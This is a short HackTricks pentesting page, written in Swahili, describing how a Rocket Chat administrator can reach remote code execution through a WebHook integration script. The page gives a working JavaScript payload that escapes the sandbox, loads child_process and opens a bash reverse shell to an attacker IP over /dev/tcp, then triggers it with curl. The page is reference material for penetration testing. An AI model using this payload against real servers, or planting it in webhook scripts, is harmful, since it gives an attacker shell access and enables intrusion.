Rocket Chat

Reading time: 2 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

RCE

Ikiwa wewe ni admin ndani ya Rocket Chat unaweza kupata RCE.

  • Nenda kwenye Integrations na uchague New Integration na chagua yoyote: Incoming WebHook au Outgoing WebHook.
  • /admin/integrations/incoming
javascript
const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
  • Sanidi WebHook (kanali na chapisho kama jina la mtumiaji lazima kuwepo):
  • Sanidi skripti ya WebHook:
  • Hifadhi mabadiliko
  • Pata URL ya WebHook iliyoundwa:
  • Itumie na curl na unapaswa kupokea rev shell

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks